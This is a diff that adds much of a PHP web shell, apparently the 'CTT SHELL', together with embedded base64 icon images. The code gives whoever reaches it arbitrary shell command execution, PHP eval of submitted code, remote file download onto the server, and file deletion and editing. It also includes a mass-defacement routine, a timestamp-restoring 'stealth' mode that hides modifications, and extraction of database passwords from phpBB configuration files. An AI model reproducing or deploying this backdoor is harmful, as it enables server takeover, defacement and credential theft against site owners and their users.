+if (!empty($uploadfilename)) {$destin = $uploadfilename;}
+else
+{
+ $destin = explode("/",$destin);
+ $destin = $destin[count($destin)-1];
+ if (empty($destin))
+ {
+ $i = 0;
+ $b = "";
+ while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}}
+}
+if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "Incorect url! ";}
+else
+{
+ $st = getmicrotime();
+ $content = @file_get_contents($uploadurl);
+ $dt = round(getmicrotime()-$st,4);
+ if (!$content) {$uploadmess .= "Íå ìîæåò çàãðóçèòü ôàéë! ";}
+ else
+ {
+ if ($filestealth) {$stat = stat($uploadpath.$destin);}
+ $fp = fopen($uploadpath.$destin,"w");
+ if (!$fp) {$uploadmess .= "Îøèáêà, ïèøóùàÿ ôàéëó ".htmlspecialchars($destin)."! ";}
+ else
+ {
+fwrite($fp,$content,strlen($content));
+fclose($fp);
+if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);}
+ }
+ }
+}
+ }
+ }
+ if ($miniform)
+ {
+ echo "".$uploadmess." ";
+ $act = "ls";
+ }
+ else
+ {
+ echo "Çàãðóçêà Ôàéëà: ".$uploadmess."
+Ëîêàëüíûé ôàéë: èëè
+Çàãðóçèòü èç URL:
+Ñîõðàíèòü ýòîò ôàéëü â ïàïêó:
+Èìÿ Ôàéëà:
+ Êîíâåðòèðîâàòü èìÿ ôàéëà
+
+ ";
+ }
+}
+if ($act == "delete")
+{
+ $delerr = "";
+ foreach ($actbox as $v)
+ {
+ $result = false;
+ $result = fs_rmobj($v);
+ if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Óäàëåíèå ñ îøèáêàìè: ".$delerr;}
+ }
+ $act = "ls";
+}
+if ($act == "onedelete")
+{
+ $delerr = "";
+ $result = false;
+ $result = fs_rmobj($f);
+ if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)." ";}
+ if (!empty($delerr)) {echo "Óäàëåíèå ñ îøèáêàìè: ".$delerr;}
+ $act = "ls";
+}
+if ($act == "onedeleted")
+{
+ $delerr = "";
+ $result = false;
+ $result = fs_rmobj($d+'/'+$f);
+ if (!$result) {$delerr .= "Íå ìîæåò óäàëèòü ".htmlspecialchars($f)." ";}
+ if (!empty($delerr)) {echo "Óäàëåíèå ñ îøèáêàìè: ".$delerr;}
+ $act = "ls";
+}
+if ($act == "deface")
+{
+ $deferr = "";
+ foreach ($actbox as $v)
+ {
+ $data = $deface_html;
+ if (eregi("%%%filedata%%%",$data)) {$data = str_replace("%%%filedata%%%",file_get_contents($v),$data);}
+ $data = str_replace("%%%filename%%%",basename($v),$data);
+ $data = str_replace("%%%filepath%%%",$v,$data);
+ $fp = @fopen($v,"w");
+ fwrite($fp,$data);
+ fclose($fp);
+ if (!$result) {$deferr .= "Can't deface ".htmlspecialchars($v)." ";}
+ if (!empty($delerr)) {echo "Defacing with errors: ".$deferr;}
+ }
+}
+if (!$usefsbuff)
+{
+ if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "Sorry, buffer is disabled. For enable, set directive \"USEFSBUFF\" as TRUE. ";}
+}
+else
+{
+ if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); ct_sess_put($sess_data); $act = "ls";}
+ if ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); ct_sess_put($sess_data); $act = "ls";}
+ if ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} $ls_arr = array_merge($sess_data["copy"],$sess_data["cut"]); ct_sess_put($sess_data); $act = "ls";}
+
+ if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); ct_sess_put($sess_data);}
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+$to = $d.basename($v);
+if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."! ";}
+if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+$to = $d.basename($v);
+if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."! ";}
+unset($sess_data["cut"][$k]);
+ }
+ ct_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Ïðèêëåèâàíèå ñ îøèáêàìè: ".$psterr;}
+ $act = "ls";
+ }
+ elseif ($actarcbuff)
+ {
+ $arcerr = "";
+ if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";}
+ else {$ext = ".tar.gz";}
+
+ if ($ext == ".tar.gz")
+ {
+$cmdline = "tar cfzv";
+ }
+ $objects = array_merge($sess_data["copy"],$sess_data["cut"]);
+ foreach($objects as $v)
+ {
+$v = str_replace("\\","/",$v);
+if (is_dir($v))
+{
+ if (substr($v,strlen($v)-1,strlen($v)) != "/") {$v .= "/";}
+ $v .= "*";
+}
+$cmdline .= " ".$v;
+ }
+ $ret = `$cmdline`;
+ if (empty($ret)) {$arcerr .= "Íå ìîæåò íàçâàòü archivator! ";}
+ $ret = str_replace("\r\n","\n");
+ $ret = explode("\n",$ret);
+ if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}}
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+if (in_array($v,$ret)) {fs_rmobj($v);}
+unset($sess_data["cut"][$k]);
+ }
+ ct_sess_put($sess_data);
+ if (!empty($arcerr)) {echo "Archivation errors: ".$arcerr;}
+ $act = "ls";
+ }
+ elseif ($actpastebuff)
+ {
+ $psterr = "";
+ foreach($sess_data["copy"] as $k=>$v)
+ {
+$to = $d.basename($v);
+if (!fs_copy_obj($v,$d)) {$psterr .= "Íå ìîæåò ñêîïèðîâàòü ".$v." to ".$to."! ";}
+if ($copy_unset) {unset($sess_data["copy"][$k]);}
+ }
+ foreach($sess_data["cut"] as $k=>$v)
+ {
+$to = $d.basename($v);
+if (!fs_move_obj($v,$d)) {$psterr .= "Íå ìîæåò ïåðåìåñòèòüñÿ ".$v." to ".$to."! ";}
+unset($sess_data["cut"][$k]);
+ }
+ ct_sess_put($sess_data);
+ if (!empty($psterr)) {echo "Ïðèêëåèâàíèå ñ îøèáêàìè: ".$psterr;}
+ $act = "ls";
+ }
+}
+if ($act == "ls")
+{
+ if (count($ls_arr) > 0) {$list = $ls_arr;}
+ else
+ {
+ $list = array();
+ if ($h = @opendir($d))
+ {
+while ($o = readdir($h)) {$list[] = $d.$o;}
+closedir($h);
+ }
+ }
+ if (count($list) == 0) {echo "Íå ìîæåò îòêðûòü ñïðàâî÷íèê (".htmlspecialchars($d).")! ";}
+ else
+ {
+ $tab = array();
+ $amount = count($ld)+count($lf);
+ $vd = "f";
+ if ($vd == "f")
+ {
+$row = array();
+$row[] = "Èìÿ";
+$row[] = "Ðàçìåð ";
+$row[] = "Èçìåíåí ";
+if (!$win)
+ {$row[] = "Âëàäåëåö/Ãðóïïà ";}
+$row[] = "Ïðàâà ";
+$row[] = "Ôóíêöèè ";
+
+$k = $sort[0];
+if ((!is_numeric($k)) or ($k > count($row)-2)) {$k = 0;}
+if (empty($sort[1])) {$sort[1] = "d";}
+if ($sort[1] != "a")
+{
+ $y = " ";
+}
+else
+{
+ $y = " ";
+}
+
+$row[$k] .= $y;
+for($i=0;$i".$row[$i]."";}
+}
+
+$tab = array();
+$tab[cols] = array($row);
+$tab[head] = array();
+$tab[dirs] = array();
+$tab[links] = array();
+$tab[files] = array();
+
+foreach ($list as $v)
+{
+ $o = basename($v);
+ $dir = dirname($v);
+
+ if ($disp_fullpath) {$disppath = $v;}
+ else {$disppath = $o;}
+ $disppath = str2mini($disppath,60);
+
+ if (in_array($v,$sess_data["cut"])) {$disppath = "".$disppath." ";}
+ elseif (in_array($v,$sess_data["copy"])) {$disppath = "".$disppath." ";}
+
+ $uo = urlencode($o);
+ $ud = urlencode($dir);
+ $uv = urlencode($v);
+
+ $row = array();
+
+if (is_dir($v))
+ {
+ if (is_link($v)) {$disppath .= " => ".readlink($v); $type = "LINK";}
+ else {$type = "DIR";}
+ $row[] = " ".$disppath." ";
+ $row[] = $type;
+ }
+ elseif(is_file($v))
+ {
+ $ext = explode(".",$o);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $row[] = " ".$disppath." ";
+ $row[] = view_size(filesize($v));
+ }
+ $row[] = "".date("d.m.Y H:i:s",filemtime($v))." ";
+
+ if (!$win)
+ {
+ $ow = @posix_getpwuid(fileowner($v));
+ $gr = @posix_getgrgid(filegroup($v));
+ $row[] = "".$ow["name"]."/".$gr["name"]." ";
+ }
+
+ if (is_writable($v)) {$row[] = "".view_perms(fileperms($v))." ";}
+ else {$row[] = "".view_perms(fileperms($v))." ";}
+
+ if (is_dir($v)) {$row[] = " ";}
+ else {$row[] = " ";}
+
+ if (($o == ".") or ($o == "..")) {$tab[head][] = $row;}
+ elseif (is_link($v)) {$tab[links][] = $row;}
+ elseif (is_dir($v)) {$tab[dirs][] = $row;}
+ elseif (is_file($v)) {$tab[files][] = $row;}
+}
+ }
+ $v = $sort[0];
+ function tabsort($a, $b)
+ {
+global $v;
+return strnatcasecmp(strip_tags($a[$v]), strip_tags($b[$v]));
+ }
+ usort($tab[dirs], "tabsort");
+ usort($tab[files], "tabsort");
+ if ($sort[1] == "a")
+ {
+$tab[dirs] = array_reverse($tab[dirs]);
+$tab[files] = array_reverse($tab[files]);
+ }
+ $table = array_merge($tab[cols],$tab[head],$tab[dirs],$tab[links],$tab[files]);
+ echo "
+";
+$smsn=0;
+ foreach($table as $row)
+ {
+$smsn++;
+ if ($smsn!=2 && $smsn!=3) {
+echo "\r\n";
+foreach($row as $v) {echo "".$v." \r\n";}
+echo " \r\n";
+}
+
+ }
+ echo "
";
+echo "
[CTT ] SHELL ver ".$shver." ";
+ }
+
+}
+if ($act == "cmd")
+{
+ if (!empty($submit))
+ {
+ echo "Ðåçóëüòàò âûïîëíåíèÿ ýòà êîìàíäà : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ob_clean();
+myshellexec($cmd);
+$ret = ob_get_contents();
+$ret = convert_cyr_string($ret,"d","w");
+ob_clean();
+echo $tmp;
+if ($cmd_txt)
+{
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+}
+else {echo $ret;}
+ }
+ else
+ {
+if ($cmd_txt)
+{
+ echo "";
+ myshellexec($cmd);
+ echo " ";
+}
+else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "Êîìàíäà âûïîëíåíèÿ: "; if (empty($cmd_txt)) {$cmd_txt = true;}}
+ echo "".htmlspecialchars($cmd)." ";
+}
+if ($act == "ps_aux")
+{
+ echo "Ïðîöåññû: ";
+ if ($win) {
+echo "";
+system('tasklist');
+echo " ";
+}
+ else
+ {
+ if ($pid)
+ {
+if (!$sig) {$sig = 9;}
+echo "Sending signal ".$sig." to #".$pid."... ";
+$ret = posix_kill($pid,$sig);
+if ($ret) {echo "ok. he is dead, amen.";}
+else {echo "ERROR. Can't send signal ".htmlspecialchars($sig).", to process #".htmlspecialchars($pid).".";}
+ }
+ $ret = `ps -aux`;
+ if (!$ret) {echo "Can't execute \"ps -aux\"!";}
+ else
+ {
+$ret = htmlspecialchars($ret);
+$ret = str_replace(""," ",$ret);
+while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);}
+$prcs = explode("\n",$ret);
+$head = explode(" ",$prcs[0]);
+$head[] = "ACTION";
+unset($prcs[0]);
+echo "";
+echo "";
+foreach ($head as $v) {echo " ".$v." ";}
+echo " ";
+foreach ($prcs as $line)
+{
+ if (!empty($line))
+ {
+ echo "";
+ $line = explode(" ",$line);
+ $line[10] = join(" ",array_slice($line,10,count($line)));
+ $line = array_slice($line,0,11);
+ $line[] = "KILL ";
+ foreach ($line as $v) {echo " ".$v." ";}
+ echo " ";
+ }
+}
+echo "
";
+ }
+ }
+}
+if ($act == "eval")
+{
+ if (!empty($eval))
+ {
+ echo "Ðåçóëüòàò âûïîëíåíèÿ ýòîò PHP-êîä : ";
+ $tmp = ob_get_contents();
+ $olddir = realpath(".");
+ @chdir($d);
+ if ($tmp)
+ {
+ob_clean();
+eval($eval);
+$ret = ob_get_contents();
+$ret = convert_cyr_string($ret,"d","w");
+ob_clean();
+echo $tmp;
+if ($eval_txt)
+{
+ $rows = count(explode("
+",$ret))+1;
+ if ($rows < 10) {$rows = 10;}
+ echo "".htmlspecialchars($ret)." ";
+}
+else {echo $ret;}
+ }
+ else
+ {
+if ($eval_txt)
+{
+ echo "";
+ eval($eval);
+ echo " ";
+}
+else {echo $ret;}
+ }
+ @chdir($olddir);
+ }
+ else {echo "PHP-êîä âûïîëíåíèÿ "; if (empty($eval_txt)) {$eval_txt = true;}}
+ echo "".htmlspecialchars($eval)." ";
+}
+if ($act == "f")
+{
+ $r = @file_get_contents($d.$f);
+ if (!is_readable($d.$f) and $ft != "edit")
+ {
+ if (file_exists($d.$f)) {echo "Permision denied (".htmlspecialchars($d.$f).")! ";}
+ else {echo "File does not exists (".htmlspecialchars($d.$f).")! Create ";}
+ }
+ else
+ {
+ $ext = explode(".",$f);
+ $c = count($ext)-1;
+ $ext = $ext[$c];
+ $ext = strtolower($ext);
+ $rft = "";
+ foreach($ftypes as $k=>$v)
+ {
+if (in_array($ext,$v)) {$rft = $k; break;}
+ }
+ if (eregi("sess_(.*)",$f)) {$rft = "phpsess";}
+ if (empty($ft)) {$ft = $rft;}
+
+ echo "Ðàññìîòðåíèå ôàéëà: ".$f." (".view_size(filesize($d.$f)).") ";
+ if (is_writable($d.$f)) {echo "Ïîëíûé äîñòóï ÷òåíèÿ/çàïèñè (".view_perms(fileperms($d.$f)).") ";}
+ else {echo "Read-Only (".view_perms(fileperms($d.$f)).") ";}
+
+ echo " ";
+ if ($ft == "info")
+ {
+echo "Information: ";
+echo "";
+echo "Size ".view_size(filesize($d.$f))." ";
+echo "MD5 ".md5_file($d.$f)." ";
+if (!$win)
+{
+ echo "Owner/Group ";
+ $tmp=posix_getpwuid(fileowner($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo fileowner($d.$f)." ";
+ else echo $tmp['name']." ";
+ $tmp=posix_getgrgid(filegroup($d.$f));
+ if (!isset($tmp['name']) || $tmp['name']=="") echo filegroup($d.$f);
+ else echo $tmp['name'];
+}
+echo " Perms ";
+
+if (is_writable($d.$f))
+{
+ echo "".view_perms(fileperms($d.$f))." ";
+}
+else
+{
+ echo "".view_perms(fileperms($d.$f))." ";
+}
+
+echo " ";
+echo "Create time ".date("d/m/Y H:i:s",filectime($d.$f))." ";
+echo "Access time ".date("d/m/Y H:i:s",fileatime($d.$f))." ";
+echo "MODIFY time ".date("d/m/Y H:i:s",filemtime($d.$f))." ";
+echo "
";
+
+
+$fi = fopen($d.$f,"rb");
+if ($fi)
+{
+ if ($fullhexdump)
+ {
+ echo "FULL HEXDUMP ";
+ $str=fread($fi,filesize($d.$f));
+ }
+ else
+ {
+ echo "HEXDUMP PREVIEW ";
+ $str=fread($fi,$hexdump_lines*$hexdump_rows);
+ }
+ $n=0;
+ $a0="00000000 ";
+ $a1="";
+ $a2="";
+ for ($i=0; $i0"; break;
+case 32:
+case 10:
+case 13: $a2.=" "; break;
+default: $a2.=htmlspecialchars($str[$i]);
+ }
+ $n++;
+ if ($n == $hexdump_rows)
+ {
+$n = 0;
+if ($i+1";}
+$a1.=" ";
+$a2.=" ";
+ }
+ }
+ echo " ";
+}
+$encoded = "";
+if ($base64 == 1)
+{
+ echo "Base64 Encode ";
+ $encoded = base64_encode($r);
+}
+elseif($base64 == 2)
+{
+ echo "Base64 Encode + Chunk ";
+ $encoded = chunk_split(base64_encode($r));
+}
+elseif($base64 == 3)
+{
+ echo "Base64 Encode + Chunk + Quotes ";
+ $encoded = base64_encode($r);
+ $encoded = substr(preg_replace("!.{1,76}!","'\\0'.\n",$encoded),0,-2);
+}
+elseif($base64 == 4)
+{
+}
+if (!empty($encoded))
+{
+ echo "".htmlspecialchars($encoded)." ";
+}
+echo "HEXDUMP: [Full ] [Preview ]Base64:
+[Encode ]
+[+chunk ]
+[+chunk+quotes ]
+[Decode ]
+";
+ }
+ elseif ($ft == "html")
+ {
+if ($white) {@ob_clean();}
+echo $r;
+if ($white) {exit;}
+ }
+ elseif ($ft == "txt")
+ {
+echo "
".htmlspecialchars($r)." ";
+ }
+ elseif ($ft == "ini")
+ {
+echo "";
+var_dump(parse_ini_file($d.$f,true));
+echo " ";
+ }
+ elseif ($ft == "phpsess")
+ {
+echo "";
+$v = explode("|",$r);
+echo $v[0]." ";
+var_dump(unserialize($v[1]));
+echo " ";
+ }
+ elseif ($ft == "exe")
+ {
+echo " ";
+ }
+ elseif ($ft == "sdb")
+ {
+echo "";
+var_dump(unserialize(base64_decode($r)));
+echo " ";
+ }
+ elseif ($ft == "code")
+ {
+if (ereg("phpBB 2.(.*) auto-generated config file",$r))
+{
+ $arr = explode("
+",$r);
+ if (count($arr == 18))
+ {
+ include($d.$f);
+ echo "phpBB configuration is detected in this file! ";
+ if ($dbms == "mysql4") {$dbms = "mysql";}
+ if ($dbms == "mysql") {echo "Connect to DB ";}
+ else {echo "But, you can't connect to forum sql-base, because db-software=\"".$dbms."\" is not supported by ctshell";}
+ echo "Parameters for manual connect: ";
+ $cfgvars = array(
+ "dbms"=>$dbms,
+ "dbhost"=>$dbhost,
+ "dbname"=>$dbname,
+ "dbuser"=>$dbuser,
+ "dbpasswd"=>$dbpasswd
+ );
+ foreach ($cfgvars as $k=>$v) {echo htmlspecialchars($k)."='".htmlspecialchars($v)."' ";}
+
+ echo " ";
+ echo " ";
+ }
+}
+echo "";
+if (!empty($white)) {@ob_clean();}
+if ($rehtml) {$r = rehtmlspecialchars($r);}
+$r = stripslashes($r);
+$strip = false;
+if(!strpos($r,"") && substr($r,0,2)!="") {$r=""; $r = trim($r); $strip = true;}
+$r = @highlight_string($r, TRUE);
+if ($delspace) {$buffer = str_replace (" ", " ", $r);}
+echo $r;
+if (!empty($white)) {exit;}
+echo "
";
+ }
+ elseif ($ft == "download")
+ {
+@ob_clean();
+header("Content-type: ctshell");
+header("Content-disposition: attachment; filename=\"".$f."\";");
+echo($r);
+exit;
+ }
+ elseif ($ft == "notepad")
+ {
+@ob_clean();
+header("Content-type: text/plain");
+header("Content-disposition: attachment; filename=\"".$f.".txt\";");
+echo($r);
+exit;
+ }
+ elseif ($ft == "img")
+ {
+if (!$white)
+{
+ echo " ";
+}
+else
+{
+ @ob_clean();
+ $ext = explode($f,".");
+ $ext = $ext[count($ext)-1];
+ header("Content-type: image/gif");
+ echo($r);
+ exit;
+}
+ }
+ elseif ($ft == "edit")
+ {
+if (!empty($submit))
+{
+ if ($filestealth) {$stat = stat($d.$f);}
+ if (!is_writable($d.$f) and $autochmod) {@chmod($d.$f,$autochmod);}
+ $fp = fopen($d.$f,"w");
+ if (!$fp) {echo "Can't write to file! ";}
+ else
+ {
+ echo "Ñîõðàí¸íü!!! ";
+ fwrite($fp,$nfcontent);
+ fclose($fp);
+ if ($filestealth) {touch($d.$f,$stat[9],$stat[8]);}
+ $r = $nfcontent;
+ }
+}
+$rows = count(explode("
+",$r));
+if ($rows < 10) {$rows = 10;}
+if ($rows > 30) {$rows = 30;}
+echo " ".htmlspecialchars($r)." ";
+ }
+ elseif (!empty($ft)) {echo "Manually selected type is incorrect. If you think, it is mistake, please send us url and dump of \$GLOBALS. ";}
+ else {echo "Unknown extension (".$ext."), please, select type manually. ";}
+ }
+}
+if ($act == "phpinfo")
+{
+ ob_end_clean();
+ phpinfo();
+ exit;
+}
+}
+$data = base64_decode("PGNlbnRlcj48Zm9udCBzaXplPTIgY29sb3I9IzAwZmYwMD5DeWJlciBUZXJyb3Jpc20gVGVhbTwvZm9udD48YnI+PGZvbnQgc2l6ZT0yPg0KyOTl/ywg6Ofs5e3l7ej/IOTo5+Dp7eAg6CDx6vDo7/LgIOTu4eDi6Os6PC9mb250PjxpbWcgc3JjPWh0dHA6Ly9vbmxpbmUubWlyYWJpbGlzLmNvbS9zY3JpcHRzL29ubGluZS5kbGw/aWNxPTMzNTk3NjAyMSZpbWc9NSBoZWlnaHQ9MTggd2lkdGg9MTg+PGZvbnQgc2l6ZT0yIGNvbG9yPSNGRkRFMDA+IFJPRE5PQzwvZm9udD48L2NlbnRlcj4=");
+if ($act == "img")
+{
+ @ob_clean();
+
+ $arrimg = array(
+"arrow_ltr"=>
+"R0lGODlhJgAWAIAAAAAAAP///yH5BAUUAAEALAAAAAAmABYAAAIvjI+py+0PF4i0gVvzuVxXDnoQ".
+"SIrUZGZoerKf28KjPNPOaku5RfZ+uQsKh8RiogAAOw==",
+"back"=>
+"R0lGODlhFAAUAKIAAAAAAP///93d3cDAwIaGhgQEBP///wAA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hgQEBP///wAAACH5BAEAAAYALAAAAAAUABQAAAM8".
+"aLrc/jDK2Qp9xV5WiN5G50FZaRLD6IhE66Lpt3RDbd9CQFSE4P++QW7He7UKPh0IqVw2l0RQSEqt".
+"WqsJADs=",
+"home"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzLKysoaGhmZmZgQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR+MMk5TTWI6ipyMoO3cUWRgeJoCCaLoKO0mq0ZxjNSBDWS".
+"krqAsLfJ7YQBl4tiRCYFSpPMdRRCoQOiL4i8CgZgk09WfWLBYZHB6UWjCequwEDHuOEVK3QtgN/j".
+"VwMrBDZvgF+ChHaGeYiCBQYHCH8VBJaWdAeSl5YiW5+goBIRADs=",
+"mode"=>
+"R0lGODlhHQAUALMAAAAAAP///6CgpN3d3czMzIaGhmZmZl9fX////wAAAAAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAgALAAAAAAdABQAAASBEMlJq70461m6/+AHZMUgnGiqniNWHHAsz3F7FUGu73xO".
+"2BZcwGDoEXk/Uq4ICACeQ6fzmXTlns0ddle99b7cFvYpER55Z10Xy1lKt8wpoIsACrdaqBpYEYK/".
+"dH1LRWiEe0pRTXBvVHwUd3o6eD6OHASXmJmamJUSY5+gnxujpBIRADs=",
+"refresh"=>
+"R0lGODlhEQAUALMAAAAAAP////Hx8erq6uPj493d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAA".
+"AAAAACH5BAEAAAwALAAAAAARABQAAAR1kMlJq0Q460xR+GAoIMvkheIYlMyJBkJ8lm6YxMKi6zWY".
+"3AKCYbjo/Y4EQqFgKIYUh8EvuWQ6PwPFQJpULpunrXZLrYKx20G3oDA7093Esv19q5O/woFu9ZAJ".
+"R3lufmWCVX13h3KHfWWMjGBDkpOUTTuXmJgRADs=",
+"search"=>
+"R0lGODlhFAAUALMAAAAAAP///+rq6t3d3czMzMDAwLKysoaGhnd3d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A".
+"AAgzAFEIHEiwoMGDCBH6W0gtoUB//1BENOiP2sKECzNeNIiqY0d/FBf+y0jR48eQGUc6JBgQADs=",
+"up"=>
+"R0lGODlhFAAUALMAAAAAAP////j4+OPj493d3czMzLKysoaGhk1NTf///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJq734ns1PnkcgjgXwhcNQrIVhmFonzxwQjnie27jg".
+"+4Qgy3XgBX4IoHDlMhRvggFiGiSwWs5XyDftWplEJ+9HQCyx2c1YEDRfwwfxtop4p53PwLKOjvvV".
+"IXtdgwgdPGdYfng1IVeJaTIAkpOUlZYfHxEAOw==",
+"write"=>
+"R0lGODlhFAAUALMAAAAAAP///93d3czMzLKysoaGhmZmZl9fXwQEBP///wAAAAAAAAAAAAAAAAAA".
+"AAAAACH5BAEAAAkALAAAAAAUABQAAAR0MMlJqyzFalqEQJuGEQSCnWg6FogpkHAMF4HAJsWh7/ze".
+"EQYQLUAsGgM0Wwt3bCJfQSFx10yyBlJn8RfEMgM9X+3qHWq5iED5yCsMCl111knDpuXfYls+IK61".
+"LXd+WWEHLUd/ToJFZQOOj5CRjiCBlZaXIBEAOw==",
+"ext_ani"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP/////MmczMmf/MzJmZZszMzP//zAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARbEMmJAKC4XhCKvRhABJZgACY4oSR3HmdFcQLndaVK7ziu".
+"VQRBYBAI1IKWYrLIJBhwrBqzOHKCotMRcaCbBrRDz+pLHQ65IWOZKE4Lz+hM5SAcDNoZwOBAINxV".
+"EQA7",
+"ext_asp"=>
+"R0lGODdhEAAQALMAAAAAAIAAAACAAICAAAAAgIAAgACAgMDAwICAgP8AAAD/AP//AAAA//8A/wD/".
+"/////ywAAAAAEAAQAAAESvDISasF2N6DMNAS8Bxfl1UiOZYe9aUwgpDTq6qP/IX0Oz7AXU/1eRgI".
+"D6HPh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prmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_cpl"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAgv///wAAAICAgMDAwICAAP//AAAAAAAAAANJ".
+"aLLc9lCASecQ8MlKB8ARRwVkEIqdqU0EEXCDqkxB4VZxSBTB8lqyTSD2+eVWE0lP8DrORgMiwLkZ".
+"/aZBVOqkpUa/4KisRC6rEgA7",
+"ext_cpp"=>
+"R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANC".
+"WLPc9XCASScZ8MlKicobBwRkEIkVYWqT4FICoJ5v7c6s3cqrArwinE/349FiNoFw44rtlqhOL4Ra".
+"Eq7YrLDE7a4SADs=",
+"ext_crl"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_crt"=>
+"R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAgwAAAP///wCAAMDAwAAAgP//AICAgICAAAAA".
+"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARYEIlJK0VYmDE294YAZEMQFCZ6DiJpBsNRmuwoDephHGqd".
+"GanYLBCyCYavYOsWIDQJUKePeXr1lprmM1ooklRJGrbkjEJhY7B6qvlwOh+sZb5EAO74PB4RAQA7",
+"ext_css"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3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g+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
+"ADs=",
+"ext_img"=>
+"R0lGODlhEwAQALMAAAAAAP///6CgpHFzcVe2Osz/mbPmZkRmAPj4+Nra2szMzLKyspeXl4aGhlVV".
+"Vf///yH5BAEAAA8ALAAAAAATABAAAASA8KFJq00vozZ6Z4uSjGOTSV3DMFzTCGJ5boIQKsrqgoqp".
+"qbabYsFq+SSs1WLJFLgGx82OUWMuXVEPdGcLOmcehziVtEXFjoHiQGCnV99fR4EgFA6DBVQ3c3bq".
+"BIEBAXtRSwIsCwYGgwEJAywzOCGHOliRGjiam5M4RwlYoaJPGREAOw==",
+"ext_inf"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_ini"=>
+"R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP///8DAwICAgICAAP//AAAAAAAAAANL".
+"aArB3ioaNkK9MNbHs6lBKIoCoI1oUJ4N4DCqqYBpuM6hq8P3hwoEgU3mawELBEaPFiAUAMgYy3VM".
+"SnEjgPVarHEHgrB43JvszsQEADs=",
+"ext_isp"=>
+"R0lGODlhEAAQADMAACH5BAEAAAwALAAAAAAQABAAgwAAAICAAP8A/wCAgAD/////AP///8DAwICA".
+"gIAAgACAAAD/AAAAAAAAAAAAAAAAAARakMl5xjghzC0HEcIAFBrHeALxiSQ3LIJhEIkwltOQxiEC".
+"YC6EKpUQBQCc1Oej8B05R4XqYMsgN4ECwGJ8mrJHgNU0yViv5DI6LTGvv1lSmBwwyM1eDmDP328i".
+"ADs=",
+"ext_ist"=>
+"R0lGODlhEAAQAEQAACH5BAEAABIALAAAAAAQABAAhAAzmQBmzAAAAABmmQCZzACZ/wAzzGaZzDO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WCgwARADs=",
+"ext_php"=>
+"R0lGODlhEAAQAJECADZOogAAAAAAAAAAACH5BAEAAAIALAAAAAAQABAAAAIolI+pywIPG1CzWReD".
